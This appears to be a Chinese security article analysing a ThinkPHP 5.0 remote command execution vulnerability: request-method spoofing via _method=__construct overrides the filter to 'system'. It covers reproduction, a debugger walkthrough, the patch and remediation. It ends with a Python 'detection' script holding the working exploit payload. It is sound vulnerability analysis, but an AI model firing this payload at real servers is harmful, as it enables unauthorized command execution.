ThinkPHP 5.0命令执行漏洞分析及复现

2019 年 1 月 26 日 FreeBuf

ThinkPHP 5.0 版本是一个颠覆和重构版本,也是ThinkPHP 十周年献礼版本,基于 PHP5.4 设计(完美支持 PHP7 ),采用全新的架构思想,引入了很多的 PHP 新特性,优化了核心,减少了依赖,支持Composer ,实现了真正的惰性加载,并且为 API 开发做了深入的支持,在功能、性能以及灵活性方面都较为突出 。

漏洞描述

ThinkPHP5.0在核心代码中实现了表单请求类型伪装的功能,该功能利用$_POST['_method']变量来传递真实的请求方法,当攻击者设置$_POST['_method']=__construct时,Request类的method方法便会将该类的变量进行覆盖,攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

影响范围

ThinkPHP 5.0.0 ~ ThinkPHP 5.0.23

什么是表单请求类型伪装

<form method="post" action="">    <input type="text" name="name" value="Hello">    <input type="hidden" name="_method" value="PUT" >    <input type="submit" value="提交"></form>

如上表单,可以在POST表单里面提交_method变量,传入需要伪装的请求类型 ,该请求从客户端看来是POST请求,而服务器会将该请求识别PUT请求并进行处理,其中变量_method可以在application\config.php文件中进行修改。

// 表单请求类型伪装变量'var_method'             => '_method',

该特性的作用:

安全防护 ,隐藏自己真实请求信息;

整合现有应用系统 ,例如现有的应用系统A的接口只接受put请求,而你的应用系统B只能发起post请求。

漏洞复现

环境

OS        : windows7Webserver : phpstudy  (apache + php5.6.27)thinkphp  : 5.0.20

条件

// 开启thinkphp的调试模式, 文件application\config.php// 应用调试模式'app_debug'              => true,

操作

cd D:\phpStudy\WWWgit clone https://github.com/top-think/think tp5git checkout v5.0.22cd tp5git clone https://github.com/top-think/framework thinkphpgit checkout v5.0.22

开启thinkphp的debug模式

// 开启thinkphp的调试模式, 文件application\config.php// 应用调试模式'app_debug'              => true,

开启apache,发送payload:

漏洞分析

利用xdebug+phpstorm进行调试,配置方式请大家自行搜索。

thinkphp采用filter对请求参数进行过滤,默认的filter在config.php中为空字符串,thinkphp首先会设置默认的过滤函数:

filter被设置为空字符串,继续跟踪在路由检查内部会对Request类的filter变量进行覆盖,跟进routeCheck函数。

再上图中调用$requesr->method()关键方法,跟进:

可以发现该函数会获取用户传入的_method=__construct变量,并调用__construct方法,跟进:

filter变量被设置成system,继续:

当debug模式开启时,会记录请求信息,会调用$request->param()方法,跟进:

如上,根据filter变量设置过滤器,跟进:

过滤器变成了数组['system'],跟进array_walk_recursive函数:

该函数内会对参数进行过滤,调用了call_user_func('system', 'dir'),完成了命令执行,结果如下:

接下来,thinkphp在执行模块的过程中还会再一次设置默认filter,使得filter='',但是不会再次覆盖filter为system,所以接下来的一次过滤并没有能够再次执行命令。

整个执行流程如下 :

官方补丁

官方补丁中限制了_method可疑设置的请求方法,并在处理_method之后将其unset,无法再利用__construct进行变量覆盖。

漏洞修复

升级到5.0.24及以上,不用开启debug模式。

检测脚本

# coding=utf-8import requestsdef check(ip, port, timeout=3):    url = 'http://{ip}:{port}/tp5/public/index.php'.format(ip=ip, port=port)    # url = 'http://{ip}:{port}/index.php'.format(ip=ip, port=port)    data = {        '_method':'__construct',        'filter':'system',        'a':'echo abcd',    }    headers = {        'content-type' : 'application/x-www-form-urlencoded',        'user-agent' : 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',        'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'    }    resp = requests.post(url, data=data, headers=headers, timeout=timeout)    if resp.content.find('abcd') != -1:        return 'thinkphp5.0 命令执行:' + urlif __name__ == '__main__':    print check('127.0.0.1', '80')

总结

该漏洞主要是:

表单请求类型伪装 + filter参数 = 覆盖变量filter;

变量覆盖filter + debug模式 + 执行filter = 命令执行。

*本文作者:小纨绔,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

登录查看更多
0

相关内容

中文 WEB 应用开发框架
FPGA加速系统开发工具设计:综述与实践
专知会员服务
65+阅读 · 2020年6月24日
还在修改博士论文?这份《博士论文写作技巧》为你指南
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
117+阅读 · 2020年5月10日
最新《智能交通系统的深度强化学习》综述论文,22页pdf
【2020新书】如何认真写好的代码和软件,318页pdf
专知会员服务
63+阅读 · 2020年3月26日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
【电子书】C++ Primer Plus 第6版,附PDF
专知会员服务
87+阅读 · 2019年11月25日
MIT新书《强化学习与最优控制》
专知会员服务
275+阅读 · 2019年10月9日
漏洞预警丨Xstream远程代码执行漏洞
FreeBuf
4+阅读 · 2019年7月25日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
“黑客”入门学习之“windows系统漏洞详解”
安全优佳
8+阅读 · 2019年4月17日
Linux挖矿病毒的清除与分析
FreeBuf
14+阅读 · 2019年4月15日
基于Web页面验证码机制漏洞的检测
FreeBuf
7+阅读 · 2019年3月15日
34个最优秀好用的Python开源框架
专知
9+阅读 · 2019年3月1日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
如何编写完美的 Python 命令行程序?
CSDN
5+阅读 · 2019年1月19日
Forge:如何管理你的机器学习实验
专知
11+阅读 · 2018年12月1日
浅谈浏览器 http 的缓存机制
前端大全
6+阅读 · 2018年1月21日
VrR-VG: Refocusing Visually-Relevant Relationships
Arxiv
6+阅读 · 2019年8月26日
Bidirectional Attention for SQL Generation
Arxiv
4+阅读 · 2018年6月21日
Arxiv
3+阅读 · 2018年3月21日
VIP会员
相关VIP内容
FPGA加速系统开发工具设计:综述与实践
专知会员服务
65+阅读 · 2020年6月24日
还在修改博士论文?这份《博士论文写作技巧》为你指南
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
117+阅读 · 2020年5月10日
最新《智能交通系统的深度强化学习》综述论文,22页pdf
【2020新书】如何认真写好的代码和软件,318页pdf
专知会员服务
63+阅读 · 2020年3月26日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
【电子书】C++ Primer Plus 第6版,附PDF
专知会员服务
87+阅读 · 2019年11月25日
MIT新书《强化学习与最优控制》
专知会员服务
275+阅读 · 2019年10月9日
相关资讯
漏洞预警丨Xstream远程代码执行漏洞
FreeBuf
4+阅读 · 2019年7月25日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
“黑客”入门学习之“windows系统漏洞详解”
安全优佳
8+阅读 · 2019年4月17日
Linux挖矿病毒的清除与分析
FreeBuf
14+阅读 · 2019年4月15日
基于Web页面验证码机制漏洞的检测
FreeBuf
7+阅读 · 2019年3月15日
34个最优秀好用的Python开源框架
专知
9+阅读 · 2019年3月1日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
如何编写完美的 Python 命令行程序?
CSDN
5+阅读 · 2019年1月19日
Forge:如何管理你的机器学习实验
专知
11+阅读 · 2018年12月1日
浅谈浏览器 http 的缓存机制
前端大全
6+阅读 · 2018年1月21日
Top
微信扫码咨询专知VIP会员